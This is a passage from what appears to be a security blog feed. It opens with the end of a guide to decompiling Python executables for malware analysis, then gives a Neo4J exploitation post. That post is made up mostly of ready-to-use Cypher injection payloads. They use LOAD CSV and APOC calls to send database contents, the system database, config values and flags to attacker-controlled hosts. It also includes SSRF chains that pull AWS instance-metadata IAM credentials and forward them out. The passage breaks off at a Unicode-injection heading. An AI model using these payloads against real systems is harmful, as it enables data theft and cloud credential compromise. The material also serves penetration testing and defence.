  &lt;li&gt;A &lt;code class=&quot;highlighter-rouge&quot;&gt;PYZ&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;PKG&lt;/code&gt; block inside&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-step-2-extract-embedded-pyc-files&quot;&gt;🪓 Step 2: Extract Embedded .pyc Files&lt;/h2&gt;

&lt;p&gt;If using &lt;code class=&quot;highlighter-rouge&quot;&gt;py2exe&lt;/code&gt;, you can often manually extract &lt;code class=&quot;highlighter-rouge&quot;&gt;.pyc&lt;/code&gt; files from &lt;code class=&quot;highlighter-rouge&quot;&gt;library.zip&lt;/code&gt;, or look for them inside the resource section of the PE.&lt;/p&gt;

&lt;p&gt;Once located:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;unzip library.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Save the .pyc to a folder for decompilation&lt;/p&gt;

&lt;p&gt;Later versions of python may require &lt;a href=&quot;https://github.com/pyinstxtractor/pyinstxtractor-ng&quot;&gt;pyinstxtractor-ng&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Running pyinstxtractor-ng, should auto-magically, extract all the components into an _extracted directory.&lt;/p&gt;

&lt;h2 id=&quot;-step-3-decompile-with-python-decompile3&quot;&gt;🔁 Step 3: Decompile with python-decompile3&lt;/h2&gt;

&lt;p&gt;Install the tool:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pip install git+https://github.com/rocky/python-decompile3.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Decompile each .pyc:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;decompile3 my_script.pyc &amp;gt; my_script_decompiled.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;✅ Supports many newer Python versions and preserves structure better than older tools.&lt;/p&gt;

&lt;h2 id=&quot;-step-4-use-pylingual-for-quick-conversions&quot;&gt;🌐 Step 4: Use Pylingual for Quick Conversions&lt;/h2&gt;

&lt;p&gt;Alternatively, drag and drop .pyc files into &lt;a href=&quot;https://pylingual.io/&quot;&gt;pylingual.io&lt;/a&gt;. It will auto-detect the Python version and show you the decompiled source code in your browser.&lt;/p&gt;

&lt;p&gt;This is especially helpful if:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You’re not sure what Python version was used.&lt;/li&gt;
  &lt;li&gt;You want to preview code quickly before deeper analysis.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;example&quot;&gt;Example&lt;/h1&gt;

&lt;h2 id=&quot;running-pyextractor-ng&quot;&gt;Running pyextractor-ng&lt;/h2&gt;

&lt;p&gt;Running pyinstxtractor-ng on a random python exe sample, may look like:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;└── extracted/
    ├── PYZ-00.pyz_extracted/
    ├── mymodule.pyc
    ├── crypto.dll
    ├── utils.pyc
    └── library.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Where as a real-world example, extracted content may look similar to:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/reverse-python-dir.png&quot; alt=&quot;dir listing&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As you can see the pyinstaller/py2exe pulls in all dependancies so that the program can run neatly on other computers.&lt;/p&gt;

&lt;p&gt;There is no source-code available only Shared Objects/DLLs and .pyc’s.&lt;/p&gt;

&lt;p&gt;We then have to decompile the pyc files to retrieve a rough comparision of the original source code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: as we are reversing python byte-code, the reversing process is not exact, the program could be broken and un runnable (if its malware we may not want to run it anyway, but sometime sandbox analysis can reveal operational TTPs as a quick dirty intel grab).&lt;/p&gt;

&lt;h2 id=&quot;decompile-and-httpspylingualio&quot;&gt;Decompile and https://pylingual.io/&lt;/h2&gt;

&lt;p&gt;We can then decompile the pyc to get an idea of the original source code in order to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Understand the pythons operation&lt;/li&gt;
  &lt;li&gt;Recover secrets&lt;/li&gt;
  &lt;li&gt;Command &amp;amp; Control (C2) infrastructure&lt;/li&gt;
  &lt;li&gt;Look for hardcoded IPs, URLs, or domains.&lt;/li&gt;
  &lt;li&gt;Credential theft mechanisms&lt;/li&gt;
  &lt;li&gt;Code interfacing with browsers, file systems, or keyloggers.&lt;/li&gt;
  &lt;li&gt;Persistence techniques&lt;/li&gt;
  &lt;li&gt;Registry manipulation, scheduled tasks, or autoruns.&lt;/li&gt;
  &lt;li&gt;Dropped payloads&lt;/li&gt;
  &lt;li&gt;Look for open(), write(), or file unpacking logic.&lt;/li&gt;
  &lt;li&gt;Obfuscation or anti-analysis checks&lt;/li&gt;
  &lt;li&gt;Functions like os.getenv, anti-VM checks, or suspicious imports.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Snippet of the source-code, revealing part of the C2C communication channel:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/reverse-python-source.png&quot; alt=&quot;source code&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;-references--further-reading&quot;&gt;📎 References &amp;amp; Further Reading&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rocky/python-decompile3&quot;&gt;python-decompile3 GitHub&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/pyinstxtractor/pyinstxtractor-ng&quot;&gt;pyinstxtractor-ng&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pylingual.io/&quot;&gt;pylingual.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.py2exe.org/&quot;&gt;py2exe Project&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.unprotect.it/&quot;&gt;Reverse Engineering PyInstaller Malware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;chatgpt.com&quot;&gt;Chatgpt.com Image Generation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="Python" /><category term="Malware" /><category term="Exes" /><category term="Reversing" /><category term="Sourcecode" /><summary type="html"></summary></entry><entry><title type="html">Neo4J exploitation</title><link href="https://www.netscylla.com/blog/2024/09/19/Neo4J-Exploits.html" rel="alternate" type="text/html" title="Neo4J exploitation" /><published>2024-09-19T09:03:00+00:00</published><updated>2024-09-19T09:03:00+00:00</updated><id>https://www.netscylla.com/blog/2024/09/19/Neo4J-Exploits</id><content type="html" xml:base="https://www.netscylla.com/blog/2024/09/19/Neo4J-Exploits.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/graphs-everywhere.jpeg&quot; alt=&quot;Scam Logo&quot; height=&quot;400&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;new-era-new-database&quot;&gt;New Era, New Database….&lt;/h1&gt;

&lt;p&gt;Neo4J is not really new its been available since approximately 2010, when creator and founder Emil Eifrem worked together with an intern from IIT bombay to develop a graph database platform.&lt;/p&gt;

&lt;p&gt;Penetration testers may have had some limited exposure to Neo4J while running and querying &lt;a href=&quot;https://github.com/BloodHoundAD/BloodHound&quot;&gt;Bloodhound&lt;/a&gt;(the AD enumeration tool, to graph domain memberships and permissions). Or even from our own previous research from 2021: &lt;a href=&quot;https://www.netscylla.com/blog/2021/03/17/Graphs-Everywhere.html&quot;&gt;Graphs Everywhere&lt;/a&gt; where we utilised Neo4J to graph malware traffic flows and the Mitre Attack TTPs and threat actors.&lt;/p&gt;

&lt;p&gt;So with the uptake in cloud based graph databases, and graphing databases used in business, we thought we would revist the topic of Neo4J and look at some basic attack methodology. As most organisations leave Neo4J in an insecure state…&lt;/p&gt;

&lt;h1 id=&quot;cypher&quot;&gt;Cypher&lt;/h1&gt;

&lt;h2 id=&quot;simple-query&quot;&gt;Simple Query&lt;/h2&gt;

&lt;p&gt;Neo4J’s graph syntax is a bit odd, rounded brackets are used to represent nodes, and square brackets represent relationships. Unlike traditional SQL statements, Cypher supports parameters at the protocol level.&lt;/p&gt;

&lt;p&gt;A simple Cypher query in the default Movies database is as simple as&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (a: Person)-[:ACTED_IN]-&amp;gt;(m: Movie)&amp;lt;-[:DIRECTED]-(d:Person)

RETURN a, m, d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;simple-filter&quot;&gt;Simple filter&lt;/h2&gt;

&lt;p&gt;Filtering queries is as simple as adding a parameter&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (a: Person {name:'Keanu Reeves'})-[:ACTED_IN]-&amp;gt;(m: Movie)&amp;lt;-[:DIRECTED]-(d:Person)

RETURN a, m, d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;simple-union&quot;&gt;Simple Union&lt;/h2&gt;

&lt;p&gt;Like traditional SQL Neo4J supports UNION statements&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (a: Person) RETURN a.name UNION RETURN 'Keanu Reeves' as name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;injections&quot;&gt;Injections&lt;/h2&gt;

&lt;p&gt;Below is a table showing examples of typicall UNION injections mapped to their SQL counterparts&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Injectable query&lt;/th&gt;
      &lt;th&gt;Injection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o) WHERE o.Id=’{input}’&lt;/td&gt;
      &lt;td&gt;’ OR 1=1 WITH 0 as _l00 {…} RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o) WHERE ‘{input}’ = o.Id&lt;/td&gt;
      &lt;td&gt;’=’ {…} WITH 0 as _l00 RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o) WHERE {input} in [different, values]&lt;/td&gt;
      &lt;td&gt;’=’ {…} WITH 0 as _l00 RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o) WHERE o:{input}&lt;/td&gt;
      &lt;td&gt;a {…} WITH 0 as _l00 RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o) WHERE o:&lt;code class=&quot;highlighter-rouge&quot;&gt;{input}&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;a` {…} WITH 0 as _l00 RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o {id:’{input}’})&lt;/td&gt;
      &lt;td&gt;’}) RETURN 1 UNION MATCH (n) {…} RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o:{input})&lt;/td&gt;
      &lt;td&gt;a) RETURN 1 UNION MATCH (n){…} RETURN 1//&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o:&lt;code class=&quot;highlighter-rouge&quot;&gt;{input}&lt;/code&gt;)&lt;/td&gt;
      &lt;td&gt;a`) RETURN 1 UNION MATCH (n){…} RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o)-[r {id:’{input}’})]-(o2)&lt;/td&gt;
      &lt;td&gt;’}]-() RETURN 1 UNION MATCH (n){…} RETURN 1//&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o)-[r:{input}]-(o2)&lt;/td&gt;
      &lt;td&gt;a]-() RETURN 1 UNION MATCH (n){…} RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;MATCH (o)-[r:&lt;code class=&quot;highlighter-rouge&quot;&gt;{input}&lt;/code&gt;]-(o2)&lt;/td&gt;
      &lt;td&gt;a`]-() RETURN 1 UNION MATCH (n){…} RETURN 1 //&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;data-exfiltration&quot;&gt;Data exfiltration&lt;/h2&gt;

&lt;p&gt;For this example imagine the vulnerable query:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (o) WHEREo.Id='{input}' RETURN o
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As an attacker we can use the above UNION statements togeth with &lt;strong&gt;LOAD CSV FROM&lt;/strong&gt; to send the database to the attackers server:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;apoc-wtf-is-apoc&quot;&gt;APOC? WTF is APOC?&lt;/h1&gt;

&lt;p&gt;The first thing an security analyst should check is whether APOC is installed.&lt;/p&gt;

&lt;p&gt;APOC (Awesome? Procedures on Cypher) is an extremely popular, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many additional functions and procedures that developers can use in their environment, but therein lies the problem: more power for the developer means more power for the attacker. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks.&lt;/p&gt;

&lt;p&gt;APOC offers functions that can prove useful for injections. These functions can serialize and encode data, making it much easier to exfiltrate sensitive content.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;apoc.convert.toJson — converts nodes, maps, and more to JSON&lt;/li&gt;
  &lt;li&gt;apoc.text.base64Encode — gets a string and encodes it as base64
Much more interesting are the procedures that APOC offers. They are a game-changer for attackers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also, make note of these interesting procedures and functions that let you evaluate queries:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;apoc.cypher.runFirstColumnMany — a function that returns the values of the first column as a list&lt;/li&gt;
  &lt;li&gt;apoc.cypher.runFirstColumnSingle — a function that returns the first value of the first column&lt;/li&gt;
  &lt;li&gt;apoc.cypher.run — a procedure that runs a query and returns the results as a map&lt;/li&gt;
  &lt;li&gt;apoc.cypher.runMany — a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction.
Using the load.*params procedures, an attacker can specify headers, request data, and use different methods other than GET.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;apocloadjsonparams&quot;&gt;apoc.load.jsonParams&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
      &lt;th&gt;Is required&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;urlOrKeyorBinary&lt;/td&gt;
      &lt;td&gt;Any&lt;/td&gt;
      &lt;td&gt;“http://attacker.com/json”&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;headers&lt;/td&gt;
      &lt;td&gt;Map or null&lt;/td&gt;
      &lt;td&gt;{ method: “POST”, &lt;code class=&quot;highlighter-rouge&quot;&gt;Authorization&lt;/code&gt;:”BEARER “ + hacked_token}&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;payload&lt;/td&gt;
      &lt;td&gt;String or null&lt;/td&gt;
      &lt;td&gt;Data&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;path&lt;/td&gt;
      &lt;td&gt;String or null&lt;/td&gt;
      &lt;td&gt;Data&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;config&lt;/td&gt;
      &lt;td&gt;Map or null&lt;/td&gt;
      &lt;td&gt;Null&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Return values:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;value&lt;/td&gt;
      &lt;td&gt;The parsed JSON&lt;/td&gt;
      &lt;td&gt;MAP&lt;/td&gt;
      &lt;td&gt;{“Hello”: “World”}&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;apocloadcsvparams&quot;&gt;apoc.load.csvParams&lt;/h2&gt;

&lt;p&gt;Note: in Neo4j 5, this procedure was moved to APOC extended&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
      &lt;th&gt;Is Required&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;urlOrKeyorBinary&lt;/td&gt;
      &lt;td&gt;Any&lt;/td&gt;
      &lt;td&gt;“http://attacker.com/json”&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;headers&lt;/td&gt;
      &lt;td&gt;Map or null&lt;/td&gt;
      &lt;td&gt;{ method: “POST”, &lt;code class=&quot;highlighter-rouge&quot;&gt;Authorization&lt;/code&gt;:”BEARER “ + hacked_token}&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;payload&lt;/td&gt;
      &lt;td&gt;String or null&lt;/td&gt;
      &lt;td&gt;Data&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;config&lt;/td&gt;
      &lt;td&gt;Map or null&lt;/td&gt;
      &lt;td&gt;{header: FALSE}&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Return values:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;lineNo&lt;/td&gt;
      &lt;td&gt;The line number of the value&lt;/td&gt;
      &lt;td&gt;Integer&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;list&lt;/td&gt;
      &lt;td&gt;List of values in a row&lt;/td&gt;
      &lt;td&gt;List⟨string⟩&lt;/td&gt;
      &lt;td&gt;[“a”,”b”,”c”]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;map&lt;/td&gt;
      &lt;td&gt;If headers are present, map will map the header with the value&lt;/td&gt;
      &lt;td&gt;Map&lt;/td&gt;
      &lt;td&gt;{“A: “a”}&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Exfiltrating data is as simple as:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Some other interesting attack queries:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;'}) RETURN 0 as _0 UNION MATCH (f:Flag)  LOAD CSV FROM 'http://10.0.2.4:8000/?json='+apoc.convert.toJson(f) as l RETURN 0 as _0 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;server-version&quot;&gt;Server Version&lt;/h2&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&amp;amp;name=' + name + '&amp;amp;edition=' + edition as l RETURN 0 as _0 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;list-all-functions&quot;&gt;List all functions&lt;/h2&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Neo4J 5+&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 WITH apoc.cypher.runFirstColumnMany(&quot;SHOW FUNCTIONS YIELD name RETURN name&quot;,{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 CALL apoc.cypher.run(&quot;SHOW PROCEDURES yield name RETURN name&quot;,{}) yield value

 LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;steal-system-db&quot;&gt;Steal SYSTEM DB&lt;/h2&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;## ENV&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+&quot;=&quot;+&quot; A B C&quot; as l RETURN 1 //

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;aws&quot;&gt;AWS&lt;/h1&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l

WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CALL apoc.load.csvParams(&quot;http://169.254.169.254/latest/api/token&quot;, {method: &quot;PUT&quot;,`X-aws-ec2-metadata-token-ttl-seconds`:21600},&quot;&quot;,{header:FALSE}) yield list WITH list[0] as token RETURN token

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CALL apoc.load.csvParams(&quot;http://169.254.169.254/latest/api/token&quot;, {method: &quot;PUT&quot;,`X-aws-ec2-metadata-token-ttl-seconds`:21600},&quot;&quot;,{header:FALSE}) yield list WITH list[0] as token

CALL apoc.load.csvParams(&quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;, { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role

CALL apoc.load.jsonParams(&quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;+role,{ `X-aws-ec2-metadata-token`:token },null,&quot;&quot;) yield value as value
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&amp;amp;Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;unicode-injection&quot;&gt;Unicode Injection&lt;/h2&gt;

&lt;p&gt;This is often useful when there’s a WAF. But there are other cases, in which this feature enables exploitation. For example, if the server removes single quotes, and the query looks like the following:&lt;/p&gt;

